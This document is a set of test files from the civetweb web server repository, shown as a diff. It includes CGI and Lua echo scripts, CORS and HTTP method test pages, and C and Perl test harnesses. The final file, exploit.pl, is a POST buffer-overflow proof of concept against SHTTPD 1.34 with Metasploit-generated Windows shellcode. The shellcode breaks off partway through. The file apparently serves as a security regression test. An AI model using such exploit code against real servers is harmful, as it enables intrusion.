ret |= elms[i].checked;
}
return ret;
}
function getRadioValue(elmname) {
var elms = document.getElementsByName(elmname);
var len = elms.length;
var ret = "";
for (var i=0; i<len; i++) {
if (elms[i].checked) {
ret = elms[i].value;
}
}
return ret;
}
function sendreq() {
var proto = getRadioValue("protocol");
var host = document.getElementById("server").value;
var res = document.getElementById("resource").value;
var addr = proto + "://" + host + "/" + res;
var meth = getRadioValue("method");
var body = getRadioValue("body");
xmlhttp = new XMLHttpRequest();
if (!xmlhttp) {
alert("XMLHttpRequest not available");
window.history.back();
}
xmlhttp.open(meth,addr,true);
if (body == '*') {
body = null;
} else {
if (body == '**') {
var body_bytes = document.getElementById("body_bytes").value;
body_bytes = parseInt(Number(body_bytes) || 0) || 0;
body = "";
for (var i=0; i<body_bytes; i++) {
var ascii = Math.floor((Math.random() * 94) + 32);
body = body + String.fromCharCode(ascii);
}
}
xmlhttp.setRequestHeader("Content-Length", body.length);
}
xmlhttp.onreadystatechange = function()
{
var laddr = addr;
var lmeth = meth;
var blen = "";
if (body) {
blen = "\nWith " + body.length + " bytes body data";
}
if (xmlhttp.readyState == 4)
{
alert(lmeth + " " + laddr + blen + "\n\nResponse: " + xmlhttp.status + "\n\n" + xmlhttp.responseText);
}
}
xmlhttp.send(body);
}
]]></script>
</head>
<body onload="load()">
<h1 id='h1'>Fatal error: Javascript not available!</h1>
<h2>Test parameters</h2>
<form lass="cform">
<h3>Protocol</h3>
<input id="proto_http" type="radio" name="protocol" value="http" /> http <br />
<input id="proto_https" type="radio" name="protocol" value="https" /> https
<h3>Server/Host</h3>
<input id="server" type="text" name="server" value="" />
<h3>Resource</h3>
<input id="resource" type="text" name="resource" value="" />
<h3>Method</h3>
<!-- http://www.restpatterns.org/HTTP_Methods -->
<!-- http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html -->
<table style="border-spacing:15px 0px;">
<tr>
<td><a href="http://tools.ietf.org/html/rfc7231#section-4.2.1">Save Methods</a></td>
<td>"Unsave" <a href="http://tools.ietf.org/html/rfc7231#section-4.2.2">Idempotent Methods</a></td>
<td>Non-Idempotent Methods</td>
<td>Special</td>
</tr>
<tr>
<td>
<input id="method_opt" type="radio" name="method" value="OPTIONS" onclick="noBody()" /> OPTIONS <br />
<input id="method_get" type="radio" name="method" value="GET" onclick="noBody()" /> GET <br />
<input id="method_hea" type="radio" name="method" value="HEAD" onclick="noBody()" /> HEAD <br />
<input id="method_tra" type="radio" name="method" value="TRACE" /> TRACE <br />
<input id="method_pro" type="radio" name="method" value="PROPFIND" /> PROPFIND <br />
</td>
<td>
<input id="method_put" type="radio" name="method" value="PUT" /> PUT <br />
<input id="method_del" type="radio" name="method" value="DELETE" /> DELETE <br />
<input id="method_cop" type="radio" name="method" value="COPY" /> COPY <br />
<input id="method_cop" type="radio" name="method" value="MOVE" /> MOVE <br />
<input id="method_ppa" type="radio" name="method" value="PROPPATCH" /> PROPPATCH <br />
<input id="method_unl" type="radio" name="method" value="UNLOCK" /> UNLOCK <br />
</td>
<td>
<input id="method_pos" type="radio" name="method" value="POST" /> POST <br />
<input id="method_pat" type="radio" name="method" value="PATCH" /> PATCH <br />
<input id="method_mkc" type="radio" name="method" value="MKCOL" /> MKCOL <br />
<input id="method_loc" type="radio" name="method" value="LOCK" /> LOCK <br />
</td>
<td>
<input id="method_con" type="radio" name="method" value="CONNECT" /> CONNECT <br />
<input id="method_userdef" type="radio" name="method" value="INVALID" /> <input id="method_name" type="text" name="method_name" value="INVALID" oninput="var elem = document.getElementById('method_userdef'); elem.checked = true; elem.value=value" /> <br />
</td>
</tr>
</table>
<h3>Body data</h3>
<input id="body_none" type="radio" name="body" value="*" /> No body data <br />
<input id="body_10" type="radio" name="body" value="1234567890" /> 10 Bytes ("1234567890") <br />
<input id="body_rnd" type="radio" name="body" value="**" /> <input id="body_bytes" type="number" name="body_bytes" value="100" min="0" step="0" max="999999999" oninput="document.getElementById('body_rnd').checked = true" /> Bytes random data <br />
<h3>Submit</h3>
<input id="send" type="button" onclick="sendreq()" value="Send request" />
</form>
</body></html>

View File

@@ -0,0 +1,25 @@
Testing
=======
C API
-----
The unit tests leverage the CTest and Check frameworks to provide a easy
environment to build up unit tests. They are split into Public and Private
test suites reflecting the public and internal API functions of civetweb.
When adding new functionality to civetweb tests should be written so that the
new functionality will be tested across the continuous build servers. There
are various levels of the unit tests:
* Tests are included in
* Test Cases which are there are multiple in
* Test Suites which are ran by the check framework by
* `civetweb-unit-tests` which is driven using the `--suite` and
`--test-case` arguments by
* CTest via `add_test` in `CMakeLists.txt`
Each test suite and test case is ran individually by CTest so that it provides
good feedback to the continuous integration servers and also CMake. Adding a
new test case or suite will require the corresponding `add_test` driver to be
added to `CMakeLists.txt`

View File

@@ -0,0 +1,8 @@
#!/bin/sh
echo "Content-Type: text/plain; charset=utf-8"
echo "Connection: close"
echo "Cache-Control: no-cache"
echo ""
echo "{}"

View File

@@ -0,0 +1,73 @@
#!/usr/bin/lua5.1
-- Every CGI script that returns any valid JSON object will work in the test.
-- In case you do not have not yet used CGI, you may want to use this script which is written in Lua.
-- You may download an interpreter from http://luabinaries.sourceforge.net/download.html, extract it
-- to some folder in your search path (the path of the webserver or /usr/bin on Linux), and add the
-- following lines to your .conf file.
-- cgi_interpreter c:\somewhere\lua5.1.exe
-- enable_keep_alive yes
resp = "{";
method = os.getenv("REQUEST_METHOD")
uri = os.getenv("REQUEST_URI");
query = os.getenv("QUERY_STRING");
datalen = os.getenv("CONTENT_LENGTH");
if method then
resp = resp .. '"method" : "' .. method .. '", ';
end
if uri then
resp = resp .. '"uri" : "' .. uri .. '", ';
end
if query then
resp = resp .. '"query" : "' .. query .. '", ';
end
if datalen then
resp = resp .. '"datalen" : "' .. datalen .. '", ';
end
resp = resp .. '"time" : "' .. os.date() .. '" ';
resp = resp .. "}";
print "Status: 200 OK"
print "Connection: close"
--print "Connection: keep-alive"
print "Content-Type: text/html; charset=utf-8"
print "Cache-Control: no-cache"
--print ("Content-Length: " .. resp:len())
print ""
print (resp)
doLogging = false
if (doLogging) then
-- Store the POST data to a file
if (method == "POST") then
myFile = io.open("data" .. query:sub(4) .. ".txt", "wb");
myFile:write(resp)
myFile:write("\r\n\r\n")
if datalen then
datalen = tonumber(datalen)
myFile:write("<<< " .. datalen .. " bytes of data >>>\r\n")
data = io.stdin:read(datalen)
myFile:write(data)
myFile:write("\r\n<<< end >>>\r\n")
else
myFile:write("<<< no data >>>\r\n")
end
myFile:close()
end
end

View File

@@ -0,0 +1,9 @@
<?
-- This *.lp file simply runs the *.lua file in the same directory.
n = string.match(mg.request_info.uri, "^(.*)%.lp$")
if mg.system:find("Windows") then
n = string.gsub(n, [[/]], [[\]])
end
n = mg.document_root .. n .. ".lua"
dofile(n)
?>

View File

@@ -0,0 +1,35 @@
resp = "{";
method = mg.request_info.request_method
uri = mg.request_info.uri
query = mg.request_info.query_string
datalen = nil -- TODO: "CONTENT_LENGTH" !
if method then
resp = resp .. '"method" : "' .. method .. '", ';
end
if uri then
resp = resp .. '"uri" : "' .. uri .. '", ';
end
if query then
resp = resp .. '"query" : "' .. query .. '", ';
end
if datalen then
resp = resp .. '"datalen" : "' .. datalen .. '", ';
end
resp = resp .. '"time" : "' .. os.date() .. '" ';
resp = resp .. "}";
mg.write("HTTP/1.1 200 OK\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Type: text/html\r\n")
mg.write("Cache-Control: no-cache\r\n")
--mg.write("Content-Length: " .. resp:len() .. "\n")
mg.write("\r\n")
mg.write(resp)

4
3P/civetweb/test/ajax/jquery.js vendored Normal file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,167 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<script type='text/javascript' language="javascript" src='jquery.js'></script>
<script type='text/javascript' language="javascript">
<!--
function mbox() {
alert('Javascript OK');
}
var totalCount = 10;
var pendingCount = 0;
var errorCount = 0;
var pushCount = 0;
var allErrorCount = 0;
var autoTest = false;
var testType = "cgi";
function NextTestType() {
if (testType == "cgi") testType = "lp";
else if (testType == "lp") testType = "lua";
else testType = "cgi";
}
function runTest(method, isAsync) {
++pushCount;
document.getElementById('start').innerHTML = 'Test: ' + pushCount;
document.getElementById('resTotal').innerHTML = 'running';
for (var i = 1; i <= totalCount; ++i) {
document.getElementById('res'+i).innerHTML = "ready";
}
errorCount = 0;
pendingCount = totalCount;
for (var i = 1; i <= totalCount; ++i) {
fetch(i, method, isAsync);
}
}
function runAutoTest() {
if (autoTest) {
runTest("POST", true)
setTimeout("runAutoTest()", 250)
}
}
function fetch(id, method, isAsync) {
document.getElementById('res'+id).innerHTML = "pending";
$.ajax({
async: isAsync,
url: 'echo.' + testType + '?id=' + id,
type: method,
timeout: 2000,
data: { 'id' : id ,
'longText1' : "adfsdfasdklkjlgasfdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
'longText2' : "bsdfsdfasdklkjlgasdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
'longText3' : "sdfsadagsdklkjlgasdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
'longText4' : "q34sdfas3fhbkjlgasdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
'longText5' : "askj2kjcvxychklgasdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
'longText6' : "asdfjklhlkjhv8öajsdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
'async' : isAsync
},
dataType: 'json',
succes: function(data) {
},
error: function() {
++errorCount;
},
complete: function(jqXHR, textStatus) {
--pendingCount;
document.getElementById('res'+id).innerHTML = textStatus;
console.log('id: ' + id + ' (' + pendingCount + '/' + totalCount + '), status: ' + textStatus);
if (pendingCount == 0) {
document.getElementById('resTotal').innerHTML = 'done';
console.log('complete, error count: ' + errorCount);
allErrorCount = allErrorCount + errorCount;
document.getElementById('resSAll').innerHTML = 'total errors: ' + allErrorCount + "/" + (pushCount*totalCount);
}
}
});
}
//-->
</script>
</head>
<body>
<p>
<div id="start">Test not started.</div>
</p>
<p>
<table>
<tr>
<td>
<input id="testButton1" type="button" onclick="javascript:runTest('GET', false)" value="sync GET"></input>
</td>
<td>
<input id="testButton2" type="button" onclick="javascript:runTest('POST', false)" value="sync POST"></input>
</td>
</tr>
<tr>
<td>
<input id="testButton3" type="button" onclick="javascript:runTest('GET', true)" value="async GET"></input>
</td>
<td>
<input id="testButton4" type="button" onclick="javascript:runTest('POST', true)" value="async POST"></input>
</td>
</tr>
<tr>
<td>
<input id="testButton5" type="button" onclick="autoTest=!autoTest; javascript:runAutoTest()" value="automatic test"></input>
</td>
<td>
<input id="testButton6" type="button" onclick="NextTestType(); this.value=testType" value='cgi'></input>
</td>
</tr>
<tr>
<td>
<input id="testButtonReset" type="button" onclick="autoTest=false; javascript:location.reload(true)" value="reset"></input>
</td>
<td>
</td>
</tr>
<tr>
<td>
<input id="testButtonBox" type="button" onclick="javascript:mbox()" value="MsgBox"></input>
</td>
<td>
</td>
</tr>
</table>
</p>
<p>
<table border="1">
<tr><th>Test</th><th>Result</th></tr>
<tr><td>1</td><td><div id="res1">not started</div></td></tr>
<tr><td>2</td><td><div id="res2">not started</div></td></tr>
<tr><td>3</td><td><div id="res3">not started</div></td></tr>
<tr><td>4</td><td><div id="res4">not started</div></td></tr>
<tr><td>5</td><td><div id="res5">not started</div></td></tr>
<tr><td>6</td><td><div id="res6">not started</div></td></tr>
<tr><td>7</td><td><div id="res7">not started</div></td></tr>
<tr><td>8</td><td><div id="res8">not started</div></td></tr>
<tr><td>9</td><td><div id="res9">not started</div></td></tr>
<tr><td>10</td><td><div id="res10">not started</div></td></tr>
</table>
<div id="resTotal">Push [Test] to start.</div>
<div id="resSAll"></div>
</p>
</body>
</html>

View File

@@ -0,0 +1,28 @@
#!/usr/bin/env perl
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
my $num_flags = @flags;
sub fail {
print "FAILED: @_\n";
exit 1;
}
my $platform = $ARGV[0] || "linux";
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
my @combination = ();
for (my $j = 0; $j < $num_flags; $j++) {
push @combination, $flags[$j] if substr($bitmask, $j, 1);
}
my $defines = join(" ", map { "-D$_" } @combination);
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
system($cmd) == 0 or fail "build failed: $_";
print "Build succeeded, flags: [$defines]\n";
system("perl test/test.pl basic_tests >/dev/null") == 0
or fail "basic tests";
print "Basic tests: OK\n";
}
print "PASS: All builds passed!\n";

5
3P/civetweb/test/bad.cgi Executable file
View File

@@ -0,0 +1,5 @@
#!/bin/sh
echo "echoing bad headers: server must report status 500"
exec 1>&2
echo shit!!!

3
3P/civetweb/test/bad2.cgi Executable file
View File

@@ -0,0 +1,3 @@
#!/usr/bin/env perl
print "Status: 123 Please pass me to the client\r\n\r\n";

View File

@@ -0,0 +1,53 @@
/* Copyright (c) 2015 the Civetweb developers
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#ifndef TEST_CIVETWEB_CHECK_H_
#define TEST_CIVETWEB_CHECK_H_
#ifdef __clang__
#pragma clang diagnostic push
// FIXME: check uses GCC specific variadic macros that are non-standard
#pragma clang diagnostic ignored "-Wgnu-zero-variadic-macro-arguments"
#endif
#ifdef _MSC_VER
#undef pid_t
#define pid_t int
/* Unreferenced formal parameter. START_TEST has _i */
#pragma warning(disable : 4100)
/* conditional expression is constant . asserts use while(0) */
#pragma warning(disable : 4127)
#endif
#include <stdint.h>
#include "check.h"
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#if !defined(_CRT_SECURE_NO_WARNINGS)
#define _CRT_SECURE_NO_WARNINGS
#endif
#if !defined(_CRT_SECURE_NO_DEPRECATE)
#define _CRT_SECURE_NO_DEPRECATE
#endif
/* A minimal timeout used for all tests with the "check" framework. */
#define civetweb_min_test_timeout (30)
#endif /* TEST_CIVETWEB_CHECK_H_ */

View File

@@ -0,0 +1,75 @@
<!DOCTYPE html>
<html>
<head>
<title>CORS test</title>
<style>
html,body{font:normal 1em arial,helvetica;}
</style>
<script> // http://www.html5rocks.com/en/tutorials/cors/
// Create the XHR object.
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr) {
// XHR for Chrome/Firefox/Opera/Safari.
xhr.open(method, url, true);
} else if (typeof XDomainRequest != "undefined") {
// XDomainRequest for IE.
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
// CORS not supported.
xhr = null;
}
return xhr;
}
// Helper method to parse the title tag from the response.
function getTitle(text) {
return text.match('<title>(.*)?</title>')[1];
}
// Make the actual CORS request.
function makeCorsRequest(method, resource) {
var url = "http://localhost:8080/cors.reply." + resource;
var xhr = createCORSRequest(method, url);
if (!xhr) {
alert('ERROR: CORS not supported');
return;
}
// Response handlers.
xhr.onload = function() {
var text = xhr.responseText;
var title = getTitle(text);
alert('Response from CORS request to ' + url + ':\n' + title);
};
xhr.onerror = function() {
alert('ERROR: the request failed.');
};
xhr.send();
}
function start() {
var el = document.getElementById("from");
el.innerHTML = "Test CORS from " + document.URL + " to http://localhost:8080/cors.reply.*";
if ((document.URL.indexOf("localhost") >= 0) || (document.URL.indexOf("127.0.0.1") >= 0)) {
alert("This CORS test is only meaningful, if you open this site with a different url than \'localhost\' (127.0.0.1).\nYou may use a different IP of the same machine.");
}
}
</script>
</head>
<body onload="start()">
<h1>Cross-origin resource sharing test</h1>
<p id="from">*** Error: Javascript is not activated. This test will not work. ***</p>
<button onclick="makeCorsRequest('GET', 'html')">Run CORS GET request (static resource)</button>
<button onclick="makeCorsRequest('GET', 'shtml')">Run CORS GET request (ssi)</button>
<button onclick="makeCorsRequest('GET', 'lua/getit')">Run CORS GET request (dynamic resource)</button>
<button onclick="makeCorsRequest('PUT', 'lua/putit')">Run CORS PUT request (dynamic resource)</button>
<p>More information on CORS: See <a href="http://enable-cors.org/">enable-cors.org</a> and <a href="http://www.html5rocks.com/en/tutorials/cors/">html5rocks.com</a>.</p>
</body>
</html>

View File

@@ -0,0 +1,7 @@
<!DOCTYPE html>
<html>
<head><title>CORS test reply - test OK</title></head>
<body>
Do not load this page directly - use cors.html instead!
</body>
</html>

View File

@@ -0,0 +1,73 @@
-- http://www.html5rocks.com/static/images/cors_server_flowchart.png
if not mg.request_info.http_headers.Origin then
mg.write("HTTP/1.0 200 OK\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Type: text/html; charset=utf-8\r\n")
mg.write("\r\n")
mg.write("This test page should not be used directly. Open cors.html instead.")
return
end
if mg.request_info.request_method == "OPTIONS" then
local acrm = mg.request_info.http_headers['Access-Control-Request-Method'];
if (acrm) then
local acrh = nil -- mg.request_info.http_headers['Access-Control-Request-Header'];
if (acrm~='PUT') then
-- invalid request
mg.write("HTTP/1.0 403 Forbidden\r\n")
mg.write("Connection: close\r\n")
mg.write("\r\n")
return
else
-- preflight request
mg.write("HTTP/1.0 200 OK\r\n")
mg.write("Access-Control-Allow-Methods: PUT\r\n")
if (acrh) then
mg.write("Access-Control-Allow-Headers: " .. acrh .. "\r\n")
end
mg.write("Access-Control-Allow-Origin: *\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Type: text/html; charset=utf-8\r\n")
mg.write("\r\n")
return
end
end
end
-- actual request
if mg.request_info.request_method == "GET" then
mg.write("HTTP/1.0 200 OK\r\n")
mg.write("Access-Control-Allow-Origin: *\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Type: text/html; charset=utf-8\r\n")
mg.write("\r\n")
mg.write([[<!DOCTYPE html>
<html>
<head><title>CORS dynamic GET test reply - test OK</title></head>
<body>This should never be shown</body>
</html>
]])
return
end
if mg.request_info.request_method == "PUT" then
mg.write("HTTP/1.0 200 OK\r\n")
mg.write("Access-Control-Allow-Origin: *\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Type: text/html; charset=utf-8\r\n")
mg.write("\r\n")
mg.write([[<!DOCTYPE html>
<html>
<head><title>CORS dynamic PUT test reply - test OK</title></head>
<body>This should never be shown</body>
</html>
]])
return
end
mg.write("HTTP/1.0 403 Forbidden\r\n")
mg.write("Connection: close\r\n")
mg.write("\r\n")

View File

@@ -0,0 +1,7 @@
<!DOCTYPE html>
<html>
<head><title>CORS test reply - test OK</title></head>
<body>
Do not load this page directly - use cors.html instead!
</body>
</html>

View File

@@ -0,0 +1,3 @@
#!/usr/bin/env perl
print "Content-Type: text/plain\n\nhello\n";

182
3P/civetweb/test/embed.c Normal file
View File

@@ -0,0 +1,182 @@
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Unit test for the civetweb web server. Tests embedded API.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN32
#include <unistd.h>
#endif
#include "civetweb.h"
#if !defined(LISTENING_PORT)
#define LISTENING_PORT "23456"
#endif
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n";
static void test_get_var(struct mg_connection *conn,
const struct mg_request_info *ri) {
char *var, *buf;
size_t buf_len;
const char *cl;
int var_len;
mg_printf(conn, "%s", standard_reply);
buf_len = 0;
var = buf = NULL;
cl = mg_get_header(conn, "Content-Length");
mg_printf(conn, "cl: %p\n", cl);
if ((!strcmp(ri->request_method, "POST") ||
!strcmp(ri->request_method, "PUT"))
&& cl != NULL) {
buf_len = atoi(cl);
buf = malloc(buf_len);
/* Read in two pieces, to test continuation */
if (buf_len > 2) {
mg_read(conn, buf, 2);
mg_read(conn, buf + 2, buf_len - 2);
} else {
mg_read(conn, buf, buf_len);
}
} else if (ri->query_string != NULL) {
buf_len = strlen(ri->query_string);
buf = malloc(buf_len + 1);
strcpy(buf, ri->query_string);
}
var = malloc(buf_len + 1);
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
mg_printf(conn, "Value: [%s]\n", var);
mg_printf(conn, "Value size: [%d]\n", var_len);
free(buf);
free(var);
}
static void test_get_header(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *value;
int i;
mg_printf(conn, "%s", standard_reply);
printf("HTTP headers: %d\n", ri->num_headers);
for (i = 0; i < ri->num_headers; i++) {
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
}
value = mg_get_header(conn, "Host");
if (value != NULL) {
mg_printf(conn, "Value: [%s]", value);
}
}
static void test_get_request_info(struct mg_connection *conn,
const struct mg_request_info *ri) {
int i;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "Method: [%s]\n", ri->request_method);
mg_printf(conn, "URI: [%s]\n", ri->uri);
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
for (i = 0; i < ri->num_headers; i++) {
mg_printf(conn, "HTTP header [%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
}
mg_printf(conn, "Query string: [%s]\n",
ri->query_string ? ri->query_string: "");
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
mg_printf(conn, "Remote user: [%s]\n",
ri->remote_user ? ri->remote_user : "");
}
static void test_error(struct mg_connection *conn,
const struct mg_request_info *ri) {
int status = (int) ri->ev_data;
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
"Conntection: close\r\n\r\n", status);
mg_printf(conn, "Error: [%d]", status);
}
static void test_post(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *cl;
char *buf;
int len;
mg_printf(conn, "%s", standard_reply);
if (strcmp(ri->request_method, "POST") == 0 &&
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
len = atoi(cl);
if ((buf = malloc(len)) != NULL) {
mg_write(conn, buf, len);
free(buf);
}
}
}
static const struct test_config {
enum mg_event event;
const char *uri;
void (*func)(struct mg_connection *, const struct mg_request_info *);
} test_config[] = {
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
{MG_NEW_REQUEST, "/test_post", &test_post},
{MG_HTTP_ERROR, "", &test_error},
{0, NULL, NULL}
};
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
int i;
for (i = 0; test_config[i].uri != NULL; i++) {
if (event == test_config[i].event &&
(event == MG_HTTP_ERROR ||
!strcmp(request_info->uri, test_config[i].uri))) {
test_config[i].func(conn, request_info);
return "processed";
}
}
return NULL;
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
ctx = mg_start(callback, NULL, options);
pause();
return 0;
}

46
3P/civetweb/test/env.cgi Executable file
View File

@@ -0,0 +1,46 @@
#!/usr/bin/env perl
use Cwd;
use CGI;
use vars '%in';
CGI::ReadParse();
print "Content-Type: text/html\r\n\r\n";
print "<pre>\n";
foreach my $key (sort keys %ENV) {
print "$key=$ENV{$key}\n";
}
print "\n";
foreach my $key (sort keys %in) {
print "$key=$in{$key}\n";
}
print "\n";
print 'CURRENT_DIR=' . getcwd() . "\n";
print "</pre>\n";
my $stuff = <<EOP ;
<script language="javascript">
function set_val() {
}
</script>
<form method=get>
<input type=hidden name=a>
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
<input type=submit value=get>
</form>
<form method=post>
<input type=text name=b>
<input type=submit value=post>
</form>
EOP
#system('some shit');
print $stuff;

View File

@@ -0,0 +1,12 @@
mg.write("HTTP/1.0 200 OK\r\n")
mg.write("Content-Type: text/html\r\n")
mg.write("\r\n")
mg.write([[<html><body>
<p>Lua error handler:</p>
<p>Status code: ]])
mg.write(tostring(mg.request_info.status))
mg.write([[</p>
</body></html>
]])

View File

@@ -0,0 +1,10 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
"http://www.w3.org/TR/html4/frameset.dtd">
<HTML>
<HEAD>
<TITLE>Error</TITLE>
</HEAD>
<BODY>
Custom error page
</BODY>
</HTML>

15
3P/civetweb/test/exit.lua Normal file
View File

@@ -0,0 +1,15 @@
msg=[[<html><body>
<p>Exit CivetWeb</p>
</body></html>
]]
mg.write("HTTP/1.0 200 OK\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Length: " .. #msg .. "\r\n")
mg.write("Content-Type: text/html\r\n")
mg.write("\r\n")
mg.write(msg)
os.exit(0)

69
3P/civetweb/test/exploit.pl Executable file
View File

@@ -0,0 +1,69 @@
#!/usr/bin/perl -w
# SHTTPD Buffer Overflow (POST)
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
# http://shttpd.sourceforge.net
# Codded By SkOd, 05/10/2006
# ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"
use IO::Socket;
sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}
sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}
if (@ARGV < 1)
{
&header();
print("Usage: Perl shttpd.pl [host]\n");
exit;
}
&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;
#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
